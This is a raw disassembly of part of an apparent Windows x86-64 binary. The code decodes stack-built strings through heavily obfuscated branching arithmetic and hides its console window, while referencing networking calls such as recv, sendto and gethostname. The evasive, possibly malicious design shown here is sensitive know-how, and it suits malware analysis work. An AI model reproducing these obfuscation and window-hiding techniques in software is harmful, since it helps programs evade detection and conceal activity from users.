mov byte [rbp + 0x278], Ordinal_41
mov byte [rbp + 0x279], Ordinal_41
mov byte [rbp + 0x27a], Ordinal_41
mov byte [rbp + 0x27b], WSASetLastError
mov byte [rbp + 0x27c], 0x7e
mov byte [rbp + 0x27d], 0x75
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x27e], xmm0
mov qword [rbp + 0x28e], rax
mov dword [rbp + 0x296], eax
mov byte [rbp + 0x29a], al
movzx ebx, byte [rsp + 0x31]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
mov rdi, r13
cmp rdi, 0x33
jae 0x1400c30cc
movzx r10d, byte [rbp + rdi + 0x268]
mov esi, r10d
nop dword [rax]
cmp r8, rdi
ja 0x1400c30c0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c25de
lea rcx, [rdi + 0x125ec]
mov rax, rcx
and rax, rsi
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rsi
sub bl, 0x74
jmp 0x1400c2618
je 0x1400c304f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c2fc3
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c2f94
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c2f4c
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c2f26
movzx r11d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400c30b4
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400c264d
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c2690
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c2ee0
inc rax
cmp r8, rax
je 0x1400c2ebe
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c2e9f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c2e7f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c2e61
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c2bc7
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c2bab
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c2b82
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c2b5c
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c2c59
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c2b3d
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c2b21
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c2b05
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c2ae7
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c2aba
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c26a0
lea r8, [r9 + 9]
lea r9, [r8 + 2]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c3098
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c307c
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c2878
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c285c
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c283e
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400c2a72
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c2a2b
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400c29e9
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c29bf
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c26a0
lea r8, [r9 + 8]
lea r9, [r8 + 1]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c298e
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c296e
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c2950
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400c2930
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c2911
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c28f7
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c28d5
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c28b0
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c2896
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c26a0
lea r8, [r9 + 6]
lea r9, [r8 + 0x2a]
jmp 0x1400c26a0
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c2690
lea edx, [r11 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1400c2620
add r11b, 0x74
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x2c
add bl, r11b
jmp 0x1400c25b0
lea edx, [r11 - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x20
jmp 0x1400c2ef5
add r11b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x38
inc r9
dec rdi
inc rdi
jmp 0x1400c2593
add r11b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x50
dec rdi
inc rdi
jmp 0x1400c2593
lea edx, [r11 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x68
jmp 0x1400c2f67
add r11b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x80
add r8, r9
jmp 0x1400c2fab
sub r11b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c2fab
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c2fe0
sub r11b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c300b
add r11b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2593
sub r11b, 0x7c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x268], bl
inc rdi
jmp 0x1400c2593
lea edx, [r11 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
cmp r9, 0x1000
jb 0x1400c29da
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x70]
jmp 0x1400c2ef7
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
cmp r8, 0x61
jae 0x1400c2e2c
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400c2d62
lea edx, [r11 - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x28
jmp 0x1400c2a00
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x1400c2e4b
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400c2cc4
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x1400c2a3a
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x18
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2593
add r11b, 0x50
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x30
add bl, r11b
jmp 0x1400c300b
lea edx, [r11 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x48
add bl, dl
jmp 0x1400c2fe0
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
jmp 0x1400c2fab
sub r11b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x78
add r8, r9
jmp 0x1400c2fab
add r11b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c2593
add r11b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c2593
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c2ef5
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400c2bea
lea edx, [r11 - 0x14]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x74
jmp 0x1400c2a89
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c2c20
sub r11b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 8
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2593
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c2c4c
add r11b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
add r8, r9
jmp 0x1400c2fab
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c2c67
lea edx, [r11 - 0x10]
mov ecx, gethostname
jmp 0x1400c2f59
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c2c92
sub r11b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x78
dec rdi
inc rdi
jmp 0x1400c2593
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c2a8b
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
inc r9
dec rdi
inc rdi
jmp 0x1400c2593
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c2ce9
lea edx, [r11 + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c2ef5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c2d14
sub r11b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5c
dec rdi
inc rdi
jmp 0x1400c2593
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c2d3c
add r11b, 0x74
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x2c
add r8, r9
jmp 0x1400c2fab
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c2a44
add r11b, 0x4c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
jmp 0x1400c2fa8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c2d98
add r11b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x10
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2593
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c2dbf
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c2fe0
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c2dda
lea edx, [r11 - 0x58]
mov ecx, 0x34
jmp 0x1400c2f59
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c2e05
add r11b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x80
dec rdi
inc rdi
jmp 0x1400c2593
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c2a02
lea edx, [r11 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x50
jmp 0x1400c2ef5
lea edx, [r11 - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x20
add bl, dl
add bl, r10b
jmp 0x1400c2f69
lea ecx, [r11 - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rcx - 8]
jmp 0x1400c2fe0
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c2fe0
add r11b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c2fab
sub r11b, 0x6c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0xc
add r8, r9
jmp 0x1400c2fab
sub r11b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3c
dec rdi
inc rdi
jmp 0x1400c2593
lea edx, [r11 + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x6c
add bl, dl
sub r11b, 0xc
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rbp + rdi + 0x268], cl
inc r9
dec rdi
inc rdi
jmp 0x1400c2593
lea edx, [rdi - 0x54]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r9
dec rdi
inc rdi
jmp 0x1400c2593
movzx r11d, dil
lea edx, [r11 - 4]
mov ecx, recv
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
sub r11b, 0x34
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x268], cl
add r8, r9
jmp 0x1400c2fab
lea rax, [rdi + 0xa554c]
and sil, al
add sil, sil
sub r10b, sil
lea ebx, [rax + r10]
sub bl, 0x14
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c2593
lea rcx, [rdi + 0x80974]
and sil, cl
add sil, sil
movzx ebx, r10b
sub bl, sil
sub bl, 0x2c
add bl, cl
movzx r11d, dil
sub r11b, 0x5c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x7c
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rdi + 0x268], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rdi + 0x268], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2593
lea rax, [rdi + 0x371c4]
and sil, al
add sil, sil
sub r10b, sil
lea ebx, [rax + r10]
sub bl, 0x5c
movzx eax, byte [rbp + rdi + 0x268]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2593
sub r11b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x44
jmp 0x1400c2590
sub r11b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5c
jmp 0x1400c2580
lea rdx, [rbp + 0x1457cf8]
jmp 0x1400c30d3
lea rdx, [rbp + 0x106a2e4]
jmp 0x1400c30d3
lea rdx, [rbp + 0x268]
mov rcx, qword [0x14022c178]
call fcn.1400cbd00
mov qword [rsp + 0x78], 0x5dc
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x80]
call fcn.14005ab70
mov rcx, rax
call fcn.14005abe0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14022be88]
call fcn.1400b3620
mov rcx, qword [0x14022be88]
mov byte [rcx + 0xb], 1
call fcn.140062dd0
mov byte [0x140227d7a], 0
mov byte [rbp + 0x1d0], 0xf9
mov byte [rbp + 0x1d1], Ordinal_217
mov byte [rbp + 0x1d2], Ordinal_217
mov byte [rbp + 0x1d3], 0xec
mov byte [rbp + 0x1d4], 0xe7
mov byte [rbp + 0x1d5], 0xf4
mov byte [rbp + 0x1d6], Ordinal_217
mov byte [rbp + 0x1d7], 0xea
mov byte [rbp + 0x1d8], 0xa6
mov byte [rbp + 0x1d9], 0xf2
mov byte [rbp + 0x1da], 0xec
mov byte [rbp + 0x1db], 0xec
mov byte [rbp + 0x1dc], Ordinal_45
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1dd], xmm0
mov dword [rbp + 0x1ed], eax
mov word [rbp + 0x1f1], ax
movabs rsi, 0x9764360f10db36b4
movabs r15, 0x23bd7a6975fe7eec
movabs r14, 0xc62ca22d3291a41c
movzx ebx, byte [rsp + 0x31]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
mov rdi, r13
cmp rdi, 0x23
jae 0x1400c3d33
movzx r11d, byte [rbp + rdi + 0x1d0]
mov edx, r11d
nop dword [rax]
cmp r8, rdi
ja 0x1400c3d27
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c322b
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x14
jmp 0x1400c324b
je 0x1400c3cb0
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c3c2a
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c3c07
movzx r10d, dil
nop
cmp r9, rdi
ja 0x1400c3d1b
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x1400c3279
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5c
jmp 0x1400c32c2
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c3bc3
inc rax
cmp r8, rax
je 0x1400c3b9e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c3b78
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c3b5c
cmp r8, rcx
je 0x1400c3b3e
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c3b0d
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c3829
nop
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c380d
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c37e8
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c37c6
lea rcx, [r9 + 0x41]
cmp r8, rcx
je 0x1400c37aa
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c378a
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c376a
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c374e
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c3730
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c3703
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c32d0
mov r8, rcx
lea r9, [rcx + 6]
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1400c3cfb
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x1400c3cdb
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400c34b7
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x1400c349d
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x1400c3483
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x1400c36b3
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400c3662
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x1400c3623
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400c35f9
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x1400c32d0
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c35cc
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c35ac
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c358e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c356e
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c3552
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c3538
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400c3516
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400c34f1
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c34d3
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c32d0
lea r8, [r9 + 6]
lea r9, [r8 + 0x42]
jmp 0x1400c32d0
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x24
jmp 0x1400c32c2
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4c
jmp 0x1400c3250
sub r10b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x74
jmp 0x1400c3200
lea edx, [r10 + 0x20]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c3bd8
sub r10b, 0x48
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 8
inc r9
dec rdi
inc rdi
jmp 0x1400c31e3
add r10b, 0x50
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x30
dec rdi
inc rdi
jmp 0x1400c31e3
lea edx, [r10 - 0x18]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x58
jmp 0x1400c3ab2
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x80
jmp 0x1400c3ad7
add r10b, 0x18
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c3ada
lea edx, [r10 - 0x50]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c3c3f
add r10b, 0x48
movzx eax, r11b
and al, r10b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c3c6c
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x20
movzx eax, byte [rbp + rdi + 0x1d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c31e3
add r10b, 0x5c
movzx eax, r10b
and al, r11b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x1d0], bl
inc rdi
jmp 0x1400c31e3
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r9, 6
jb 0x1400c3614
lea edx, [r10 - 0x48]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x10]
jmp 0x1400c3bd8
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r8, 0x400
jae 0x1400c3a9c
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400c39f2
lea edx, [r10 - 0x58]
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c363c
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400c3af2
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400c3928
lea edx, [r10 - 0x1c]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x3c
add bl, dl
jmp 0x1400c367b
sub r10b, 0x68
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x28
movzx eax, byte [rbp + rdi + 0x1d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c31e3
add r10b, 0x30
movzx eax, r11b
and al, r10b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x50
add bl, r10b
jmp 0x1400c3c6c
lea edx, [r10 - 0x38]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x78
add bl, dl
jmp 0x1400c3c3f
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c3ada
sub r10b, 8
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c3ad7
lea edx, [r10 - 0x70]
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
jmp 0x1400c3ab2
add r10b, 0x28
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x18
dec rdi
inc rdi
jmp 0x1400c31e3
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x40
inc r9
dec rdi
inc rdi
jmp 0x1400c31e3
lea edx, [r10 + 0x58]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x68
add bl, dl
jmp 0x1400c3bd8
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400c3853
lea edx, [r10 - 0x4c]
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c36cc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c388d
sub r10b, 0x78
movzx eax, r11b
and al, r10b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
movzx eax, byte [rbp + rdi + 0x1d0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c31e3
inc rax
cmp r8, rax
jne 0x1400c38b5
sub r10b, 0x10
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c3c6c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c38da
lea edx, [r10 + 0x58]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x68
add bl, dl
jmp 0x1400c3c3f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c38ff
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x40
jmp 0x1400c3ada
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c36cc
add r10b, 0x28
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x18
jmp 0x1400c3ad7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c394d
lea edx, [r10 + 0x4c]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1400c3bd8
